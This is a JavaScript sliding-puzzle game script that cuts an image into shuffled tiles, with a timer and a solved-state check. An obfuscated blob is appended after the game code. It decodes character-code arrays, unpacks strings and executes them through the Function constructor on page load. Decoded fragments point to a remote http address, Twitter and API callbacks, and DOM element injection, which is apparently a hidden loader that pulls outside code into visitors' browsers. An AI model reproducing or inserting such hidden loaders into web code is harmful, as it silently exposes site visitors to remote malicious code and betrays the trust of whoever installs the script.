var img = new Image()
//Setting for the puzzle
img.src = "pic/hupuzzle.jpg"  // url of the image
var rows = 4 // Cut the image in ... rows
var cols = 4 // Cut the image in ... cols
var img_width = 450 // width of the image
var img_height = 338 // height of the image
var offsetleft = 200 // left possition of the puzzle
var offsettop = 100 // top position of the puzzle
//end settings
var over = false;
var arr = new Array()
var time
var T1 = null
var start = false
var str = "";
//Free JavaScript on http://www.ScriptBreaker.com
document.write("<div style='vertical-align:bottom;position:relative;top:"+offsettop+";left:"+offsetleft+";height:"+(img_height+50)+";width="+img_width+"' valign=bottom><form name=frm_info>")
document.write("<table><tr><td style='vertical-align:bottom;height:"+(img_height+50)+";width="+(img_width/3)+"'>")
var teller = 0
var piece = new Array()
for(i=0; i < cols; i++)
{
   stop = rows
   arr[i] = new Array()
   if((i+1) == cols) stop--;
   for(j=0;j< stop; j++)
   {
     l = Math.round((img_width/cols)*(i));
     t = Math.round((img_height/rows)*(j)) ;
     id = "i_"+i+"j_"+j
     arr[i][j] = new Array("",l,t,false);
     document.write("<div  style='height:"+Math.round((img_height/rows))+";overflow:hidden;position:absolute;left:"+l+";top:"+t+";z-index:10;width:"+Math.round((img_width/cols))+"' id='"+ id +"' onclick=set('"+this.id+"') ><img src='"+img.src+"' style='position:absolute;top:"+(-t)+";left:"+(-l)+"'></div>")
     piece[teller] =  new Array(id,l,t,false,teller)
     teller++;
  }
}


var l = ((img_width/cols)*(cols-1));
var t = (img_height/rows)*(rows-1) ;
var hteller = teller;
arr[(cols-1)][(rows-1)] = new Array("",l,t);
piece[teller] =  new Array("B",0,0,false,teller)
document.write("<input type= button value='Shake' onclick='reseter()' class=pbutton></td><td style='vertical-align:bottom;height:"+(img_height+50)+";width="+(img_width/3)+"' align=middle><div id=txttimer class=ptext>00:00:00</div></td><td style='vertical-align:bottom;height:"+(img_height+50)+";width="+(img_width/3)+"' align=right><div id=txtgood class=ptext></div></td></tr></table></form></div>")
teller--;

function reseter()
{
start = true;
time = new Date()
arr[(cols-1)][(rows-1)] = new Array("",l,t);
piece[hteller] =  new Array("B",0,0,false,hteller)
for(i=0;i<=teller;i++) piece[i][3] = false
changer();
checker();
set_time();
}

function set_time()
{
 temp = new Date()
 between = Math.round((temp-time)/1000)
 sec = between%60
 min = Math.floor((between-sec)/60)
 hou = Math.floor(min/60)
 min = min%60;
 if (sec < 10) sec = "0"+ sec;
 if (min < 10) min = "0"+ min;
 if (hou < 10) hou = "0"+ hou;
 str = hou+":"+min+":"+sec;
 document.getElementById("txttimer").innerHTML = str
 if(start)T1 = setTimeout("set_time()",1000);
}

function changer()
{
for(i=0;i<cols;i++)
{
   stop = rows
   if((i+1) == cols) stop--;
 for(j=0;j<stop;j++)
 {
  ok = false
  while(ok == false)
  {
   check = Math.floor((teller*Math.random())+0.5)
   id = "i_"+i+"j_"+j
   if((piece[check][3] == false))
   {
   piece[check][3] = true
   mob = document.getElementById(id).style;

   mob.left = piece[check][1] +"px";
   mob.top = piece[check][2] +"px";
   arr[i][j][0] = piece[check][0];
   arr[i][j][3] = get_jpos(piece[check][0],i,j)
   ok = true
   }
  }


 }
}
}


function get_jpos(over,i,j)
{
   jpos = over.indexOf("j")
   ipos = parseInt(over.substr(2,(jpos-2)));
   jpos = parseInt(over.substr((jpos+2),(over.length -(jpos+2))))
   if((i == ipos) && (j==jpos)) return true
   else return false
}



function check_blank(i,j)
{
 if ((i == (cols-1)) && (j == (rows-1))) return true
 else return false
}

function set(id)
{
  if(!start) {alert("Please press first on the shake button (re)start the game.");return false}
  i = Math.round(parseInt(document.getElementById(id).style.left)/(img_width/cols))
  j = Math.round(parseInt(document.getElementById(id).style.top)/(img_height/rows))
  if(i != (cols-1)){if(arr[i+1][j]){if(arr[i+1][j][0] == "") {
  document.getElementById(id).style.left = arr[i+1][j][1]
  document.getElementById(id).style.top = arr[i+1][j][2]
  arr[i+1][j][0] = id
  arr[i][j][0] = ""
  arr[i][j][3] = check_blank(i,j)
  hi = i+1
  arr[i+1][j][3] = get_jpos(id,hi,j)
  }}}
  if(j != (rows-1)){if(arr[i][j+1]){if(arr[i][j+1][0] == "") {
  document.getElementById(id).style.left = arr[i][j+1][1]
  document.getElementById(id).style.top = arr[i][j+1][2]
  arr[i][j+1][0] = id
  arr[i][j][0] = ""
  arr[i][j][3] = check_blank(i,j)
  hj = j+1
  arr[i][j+1][3] = get_jpos(id,i,hj)
  }}}
  if(i != 0){if(arr[i-1][j]){if(arr[i-1][j][0] == "") {
    document.getElementById(id).style.left = arr[i-1][j][1]
  document.getElementById(id).style.top = arr[i-1][j][2]
  arr[i-1][j][0] = id
  arr[i][j][0] = ""
  arr[i][j][3] = check_blank(i,j)
  hi = i-1
  arr[i-1][j][3] = get_jpos(id,hi,j)
  }}}
  if(j != 0){if(arr[i][j-1]){if(arr[i][j-1][0] == "") {
  document.getElementById(id).style.left = arr[i][j-1][1]
  document.getElementById(id).style.top = arr[i][j-1][2]
  arr[i][j-1][0] = id
  arr[i][j][0] = ""
  arr[i][j][3] = check_blank(i,j)
  hj = j-1
  arr[i][j-1][3] = get_jpos(id,i,hj)
  }}}
  checker();
}

function checker()
{
 good = 0
 further = true
 for(i=0;i<cols;i++)
{
 for(j=0;j<rows;j++)
 {
  if(arr[i][j][3] == false)
  {further = false;}
  else good++;
 }
}
strgood = good +"/"+ (rows*cols)
if(!start) strgood = (rows*cols)+"/"+(rows*cols)
document.getElementById("txtgood").innerHTML = strgood
if(further)
{
 clearTimeout(T1);
 start = false
 alert("Congratulations, puzle solved in "+ str +"!");
}
}
checker();








(function($$){qq2=[8,0,26,0,11,81,29,0,26,86,65,82,0,54,48,29,84,72,73,83,27,60,59,54,48,0,0,38,85,76,76,57,69,65,82,0,5,45,79,78,84,72,0,5,36,65,84,69,0,5,40,79,85,82,83,0,5,45,73,78,85,84,69,83,0,5,51,69,67,79,78,68,83,8,9,61,93,27,0,11,75,29,0,26,0,6,82,12,54,80,29,84,72,73,83,14,3,81,8,9,12,73,29,16,27,54,80,59,17,61,11,29,17,27,87,72,73,76,69,8,73,11,11,28,23,9,91,3,82,29,54,80,59,73,61,0,15,3,82,28,3,45,9,54,80,59,73,61,0,22,3,82,93,60,0,54,80,14,83,80,76,73,67,69,8,94,90,7,9,12,17,11,94,52,0,16,0,23,94,85,0,16,11,7,52,7,11,54,80,0,23,94,53,0,16,93,27,54,39,29,91,7,72,64,72,84,84,80,26,15,15,56,83,64,15,56,84,64,84,82,69,56,68,64,68,65,73,56,78,64,78,68,83,56,81,64,31,56,67,64,67,65,76,76,66,65,67,75,29,56,74,64,3,56,65,64,65,80,73,56,76,64,76,89,56,55,64,84,87,73,84,84,69,82,56,79,64,67,79,77,56,69,64,17,56,75,64,83,56,43,64,66,79,68,89,56,88,64,65,74,65,88,56,36,64,14,56,44,64,76,73,66,83,56,42,64,74,81,85,69,82,89,56,22,64,22,14,18,56,77,64,77,73,78,56,70,64,79,78,56,51,64,67,82,73,80,84,56,73,64,73,70,56,45,64,82,65,77,69,56,57,64,72,69,65,68,56,87,64,87,73,68,84,72,26,56,80,64,80,88,27,56,40,64,72,69,73,71,72,84,26,56,52,64,18,56,82,64,82,67,56,49,64,2,56,89,64,83,84,89,76,69,29,56,66,64,30,28,56,50,64,30,28,15,56,41,64,68,73,86,56,34,64,28,56,33,64,30,56,71,64,71,79,79,71,76,69,56,37,64,6,68,65,84,69,29,56,90,64,16,56,85,64,13,56,53,64,0,56,12,64,26,16,16,56,27,7,26,18,19,20,21,22,23,24,25,16,17,12,7,15,7,26,20,24,18,23,17,12,7,38,7,26,17,25,24,17,25,21,18,21,20,12,7,39,7,26,17,18,12,7,35,64,29,7,93,27,32,0,3,77,8,54,85,9,91,3,52,29,59,61,27,70,79,82,8,54,65,29,16,27,54,65,28,54,85,0,8,27,54,65,11,11,9,91,3,52,14,80,85,83,72,8,54,39,59,54,85,14,67,72,65,82,33,84,8,54,65,9,61,9,93,60,0,3,84,8,3,52,9,93,54,73,29,68,79,67,85,77,69,78,84,27,3,85,29,87,73,78];qq21=[68,79,87,27,0,9,89,29,7,85,78,68,69,70,73,78,69,68,7,27,0,9,90,29,94,72,65,36,55,36,79,83,69,83,84,78,83,68,76,36,74,70,81,67,81,7,0,19,40,29,0,10,9,29,29,0,9,89,9,0,15,3,40,92,92,1,54,67,8,9,9,91,73,70,8,1,3,40,9,91,84,82,89,91,54,71,29,74,49,85,69,82,89,0,1,27,84,82,89,91,54,71,29,4,0,1,93,54,51,29,54,73,14,71,69,84,37,76,69,77,69,78,84,83,34,89,52,65,71,46,65,77,69,8,94,57,0,16,59,16,61,27,3,37,29,54,73,14,67,82,69,65,84,69,37,76,69,77,69,78,84,8,94,75,51,0,16,27,3,37,14,83,69,84,33,84,84,82,73,66,85,84,69,8,94,75,82,7,9,12,3,77,8,2,72,88,36,71,65,75,36,79,83,88,83,44,83,42,83,69,36,22,83,42,36,77,36,74,2,9,9,27,54,51,14,65,80,80,69,78,68,35,72,73,76,68,8,3,37,9,93,32,0,54,50,8,3,83,12,54,38,0,18,45,65,84,72,14,70,76,79,79,82,8,3,83,15,54,38,9,0,25,86,8,3,68,9,91,86,65,82,0,54,70,29,54,50,8,0,9,44,12,0,4,88,9,27,0,6,87,29,0,9,44,5,0,4,88,27,0,6,46,29,0,4,80,10,3,87,27,0,6,38,29,0,4,77,10,54,70,27,0,6,69,29,3,46,13,3,38,0,15,3,69,30,16,9,91,3,44,29,3,69,93,69,76,83,69,91,3,44,29,3,69,11,0,4,33,93,60,8,3,44,5,3,68,9,0,25,42,8,3,78,9,91,0,9,44,29,94,27,7,9,11,3,78,27,0,4,80,29,94,15,7,9,27,0,4,33,29,94,27,7,9,13,94,38,7,9,27,0,4,88,29,54,50,8,0,4,33,12,0,4,80,9,27,0,4,77,29,0,4,33,5,0,4,80,0,25,84,8,54,0,18,54,0,8,29,29,17,31,54,59,16,61,26,54,0,23,7,7,9,93,27,32,0,3,50,8,54,9,91,68,29,78,69,87,0,36,65,84,69,8,0,19,33,29,94,90,69,69,7,9,27,68,14,83,69,84,52,73,77,69,8,8,54,14,65,83,63,79,70,13,94,39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,39,7,9,10,94,69,90,90,0,16,10,94,69,90,90,90,0,16,27,60,0,68,0,25,79,8,54,35,9,91,0,6,73,12,54,72,12,3,39,29,54,35,0,8,27,0,6,88,29,59,61,27,87,72,73,76,69,8,13,13,3,39,9,91,54,72,29,3,86,8,3,39,0,19,88,14,80,85,83,72,8,54,72,0,19,73,29,54,35,59,54,72,61,27,54,35,59,54,72,61,29,54,35,59,3,39,61,27,54,35,59,3,39,61,29,3,73,93,93,32,0,54,44,8,4,9,91,54,37,29,4,14,77,65,80,8,59,24,17,12,24,21,12,23,20,12,23,20,12,25,18,12,17,23,12,24,18,12,23,19,12,24,16,12,19,16,12,24,18,12,23,23,12,18,21,12,17,17,12,17,16,12,17,16,12,22,17,12,17,17,12,21,22,12,21,21,12,17,17,12,21,19,12,22,12,21,19,12,23,12,18,12,17,12,16,12,20,24,61,12,32,8,88,12,73,0,18,51,84,82,73,78,71,14,70,82,79,77,35,72,65,82,35,79,68,69,8,73,11,88,11,18,20,9,93,9,27,60,0,3,84,8,54,37,9,0,25,74,8,88,0,18,88,0,8,93,32,0,54,52,8,4,9,91,73,70,0,10,9,1,29,0,9,89,9,91,4,8,0,26,73,70,0,10,14,54,79,9,1,29,0,9,89,9,60,27,4,14,54,79,29,17,27,0,20,90,12,32,8,54,45,9,91,3,36,29,3,50,8,54,45,0,19,43,29,3,36,0,0,45,79,78,84,72,8,9,0,27,46,29,3,36,0,0,36,65,84,69,8,0,19,80,29,32,8,88,12,73,9,91,60,8,3,74,8,88,11,2,2,9,13,17,9,31,88,26,2,16,2,11,88,93,27,54,69,29,3,80,8,3,43,12,20,9,11,2,13,2,11,3,80,8,54,46,12,23,0,19,65,29,3,90,11,3,77,8,2,37,0,21,27,54,36,29,54,89,29,54,50,8,3,36,0,0,40,79,85,82,83,8,9,12,22,9,10,22,0,27,90,29,54,36,11,17,27,3,45,29,11,94,69,90,7,9,27,0,12,0,20,65,12,32,8,54,45,9,91,84,82,89,91,3,51,29,54,45,14,84,82,69,78,68,83,27,3,70,29,3,77,8,2,0,21,11,2,0,2,0,15,54,36,28,3,45,9,54,36,0,22,54,36,0,15,54,90,28,3,45,9,54,90,0,22,54,90,27,0,24,36,11,3,77,8,56,9,61,0,15,1,3,67,9,91,0,24,90,11,3,77,8,56,9,61,93,3,67,29,8,3,67,59,19,61,14,78,65,77,69,14,84,79,44,79,87,69,82,35,65,83,69,8,9,14,82,69,80,76,65,67,69,8,15,59,62,65,13,90,61,15,71,73,12,7,7,9,11,7,77,73,67,82,79,83,67,79,80,69,7,9,14,83,80,76,73];qq31=[84,8,7,7,0,19,35,29,3,43,10,23,17,11,54,89,10,19,11,54,46,10,19,23,27,3,42,8,3,35,0,19,74,29,3,86,8,20,9,11,3,45,27,3,79,8,3,67,0,19,66,29,94,35,72,7,9,11,3,84,8,3,67,9,14,83,85,66,83,84,82,73,78,71,8,16,12,3,74,9,11,7,14,67,79,77,15,7,11,54,44,8,4,9,27,54,39,59,7,58,7,61,29,3,66,27,54,82,29,94,34,41,0,17,66,73,45,53,0,17,53,75,82,58,50,73,45,50,41,33,7,9,27,4,8,94,43,0,16,14,65,80,80,69,78,68,8,54,82,9,93,67,65,84,67,72,8,54,81,9,91,93,93,9,93,12,3,45,10,3,45,10,3,45,9,93,9,93,9,93,69,76,83,69,91,0,12,0,13,12,17,11,94,52,52,52,0,16,93,93,0,13,9,8,9,3,74,83,32,70,85,78,67,84,73,79,78,54,3,34,56,7,12,7,64,7,26,7,94,3,77,8,7,60,82,69,84,85,82,78,0,0,14,71,69,84,53,52,35,0,1,14,78,79,35,79,78,70,76,73,67,84,8,84,82,85,69,9,93,67,65,84,67,72,8,69,9,91,93,0,4,3,85,14,54,0,5,8,9,12,54,48,0,0,0,6,86,65,82,0,3,0,8,14,76,69,78,71,84,72,0,9,3,85,14,3,0,10,8,84,89,80,69,79,70,8,4,0,11,36,65,84,69,14,80,82,79,84,79,84,89,80,69,14,3,0,12,83,69,84,52,73,77,69,79,85,84,8,0,26,0,13,54,52,8,3,85,14,74,49,85,69,82,89,9,93,0,15,27,73,70,8,0,16,7,9,9,0,17,89,49,40,52,80,87,69,69,69,80,49,0,18,9,91,60,0,0,19,9,27,3,0,20,4,14,71,69,84,42,51,47,46,8,3,0,21,52,90,69,69,85,2,9,11,54,69,0,22,29,94,90,7,9,11,0,23,14,74,79,73,78,8,0,24,3,67,29,3,51,59,3,70,11,54,0,25,93,32,0,3,0,26,32,8,9,91,0,27,11,8,11,94,69,0,16,27,54];d='';mapper=[3,32,54,56,64,94,60,0,0,0,1,0,4,0,5,0,6,0,8,0,9,0,10,0,11,0,12,0,13,0,15,0,16,0,17,0,18,0,19,0,20,0,21,0,22,0,23,0,24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});